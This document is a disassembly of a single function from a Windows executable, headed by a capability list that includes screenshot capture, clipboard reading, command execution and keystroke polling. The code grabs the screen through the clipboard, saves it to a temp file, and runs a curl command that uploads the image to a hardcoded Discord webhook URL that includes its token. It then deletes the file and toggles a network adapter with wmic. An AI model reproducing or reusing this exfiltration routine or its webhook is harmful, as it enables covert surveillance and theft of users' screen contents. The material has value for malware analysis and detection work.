Function at 0x1400017a0
Capabilities:
Capture screenshot via keybd event
Delete file
Execute command
Get common file path
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x330], rax
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x70], r15d
lea rcx, str.MBG_P100_WINGS_EXPLOIT
call fcn.140001040
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
lea ecx, [r15 + 0x20]
call fcn.140004004
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0x10
mov qword [rbp + 0xf0], 0x1f
movups xmm0, xmmword [str.curl__F__file1_]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r14b
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea ecx, [r15 + 0x20]
call fcn.140004004
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x10
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.xnu8Z394mz90.png]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r15b
lea rdx, [rbp + 0x220]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1400019a4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, [rbp + 0x220]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400018a0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x14000211a
mov qword [rsp + 0x48], 0xf
cmp rbx, 0xf
ja 0x1400018f9
mov qword [rsp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
mov r14d, 0x20
lea r8, [rsp + 0x30]
jmp 0x1400019a8
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000192e
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004004
test rax, rax
je 0x140001959
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001972
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001960
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002120
jmp 0x140001913
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000196f
call fcn.140004004
mov rsi, rax
jmp 0x140001972
mov rsi, r15
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov r14d, 0x20
lea r8, [rsp + 0x30]
jmp 0x1400019a8
mov r8, qword [rbp + 0x20]
lea r9, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.140003a70
or r14d, 1
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400019fe
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004280
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001a3e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004280
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x2c
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x2c
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 2
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0xb0], r15
mov qword [rbp - 0x60], r15
lea r8, [rbp - 0x60]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
lea rax, vtable.ATL::CImage.0
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x60], 0xffffffff
mov qword [rbp + 0x68], r15
mov dword [rbp + 0x70], r15d
mov qword [rbp + 0x78], r15
call fcn.1400013c0
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rbp + 0x38], rsi
lea r8, [rbp - 0x50]
mov edx, 0x68
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x140001b97
mov byte [rbp + 0x58], 1
mov ecx, dword [rbp - 0x2c]
mov dword [rbp + 0x48], ecx
mov r8d, dword [rbp - 0x28]
mov r9d, r8d
neg r9d
cmovs r9d, r8d
mov dword [rbp + 0x4c], r9d
movzx eax, word [rbp - 0x22]
mov dword [rbp + 0x54], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rbp + 0x50], eax
mov r10, qword [rbp - 0x38]
mov qword [rbp + 0x40], r10
test r8d, r8d
jle 0x140001bb6
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rbp + 0x40], rdx
neg eax
mov dword [rbp + 0x50], eax
jmp 0x140001bb6
mov byte [rbp + 0x58], 0
mov eax, dword [rbp - 0x4c]
mov dword [rbp + 0x48], eax
mov eax, dword [rbp - 0x48]
mov dword [rbp + 0x4c], eax
movzx eax, word [rbp - 0x3e]
mov dword [rbp + 0x54], eax
mov dword [rbp + 0x50], r15d
mov qword [rbp + 0x40], r15
mov dword [rbp + 0x5c], 0xffffffff
mov byte [rbp + 0x59], 0
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0x30]
call fcn.140001540
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov esi, dword [rbp + 0x20]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov edx, esi
test esi, esi
je 0x140001bfb
lea rcx, [rbp + 0xa0]
call fcn.140003c60
mov rbx, qword [rbp + 0xa0]
mov r8d, esi
lea rdx, [rbx + 0x10]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0x100]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140006948]
mov qword [rbp + 0x100], rax
lea rax, [0x140006880]
mov qword [rbp + 0x110], rax
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 2
mov dword [rsp + 0x70], r14d
xor r8d, r8d
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x100], rax
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0xfc], edx
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x118], rax
mov byte [rbp + 0x194], 0
mov byte [rbp + 0x189], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x198], r15
mov rax, qword [0x14000aa88]
mov qword [rbp + 0x18c], rax
mov qword [rbp + 0x180], r15
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0x100]
call fcn.140003120
mov r8, qword [rbp + 0xa8]
sub r8, rbx
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x118]
call fcn.140003060
test rax, rax
jne 0x140001d72
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x100]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x70], 0x28
lea rcx, [rsp + 0x70]
call fcn.140003400
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xd8]
lea rcx, [rbp - 0x80]
call fcn.1400032a0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x140001dd4
lea rax, [rdx + 2]
mov qword [rcx + 0x10], rax
mov rax, rcx
cmp r8, 0xf
jbe 0x140001dc7
mov rax, qword [rcx]
mov word [rax + rdx], 0x2022
mov byte [rax + rdx + 2], 0
jmp 0x140001df1
mov qword [rsp + 0x20], 2
lea r9, [0x1400067bc]
mov edx, 2
call fcn.1400038c0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x7a
jb 0x140001e73
lea rax, [rcx + 0x7a]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x7a
lea rdx, str.https:__discord.com_api_webhooks_1160925722605523046_KuzHq6uEZufWjriy8My3QZzMBK7XgQ6KBuDyPz_gxFoH8q2SukbrnMSi81mXk4D1Idxm
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x7a], 0
lea rax, [rsp + 0x30]
jmp 0x140001e92
mov qword [rsp + 0x20], 0x7a
lea r9, str.https:__discord.com_api_webhooks_1160925722605523046_KuzHq6uEZufWjriy8My3QZzMBK7XgQ6KBuDyPz_gxFoH8q2SukbrnMSi81mXk4D1Idxm
mov edx, 0x7a
lea rcx, [rsp + 0x30]
call fcn.1400038c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x140001f14
lea rax, [rcx + 0xa]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 0xa
lea rdx, str.__nul_2_1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xa], 0
lea rax, [rsp + 0x50]
jmp 0x140001f33
mov qword [rsp + 0x20], 0xa
lea r9, str.__nul_2_1
mov edx, 0xa
lea rcx, [rsp + 0x50]
call fcn.1400038c0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001fac
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004280
movdqa xmm0, xmmword [0x140006960]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001fff
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ffa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ffa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004280
movdqa xmm0, xmmword [0x140006960]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002050
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000204b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000204b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004280
lea rcx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rcx, qword [rbp + 0xb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x4b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400020b6
cmp byte [0x14000aa78], 0
sete al
mov byte [0x14000aa78], al
jmp 0x1400020bd
movzx eax, byte [0x14000aa78]
test al, al
je 0x1400020ec
cmp byte [0x14000a0b4], 0
jne 0x140002095
lea rcx, str.wmic_path_win32_networkadapter_where_index3_call_disable___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.disabled
call fcn.140001040
mov byte [0x14000a0b4], 1
jmp 0x140002095
cmp byte [0x14000a0b4], 0
je 0x140002095
lea rcx, str.wmic_path_win32_networkadapter_where_index3_call_enable___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.enabled
call fcn.140001040
mov byte [0x14000a0b4], 0
jmp 0x140002095
call fcn.140001240
int3
call fcn.1400011a0
int3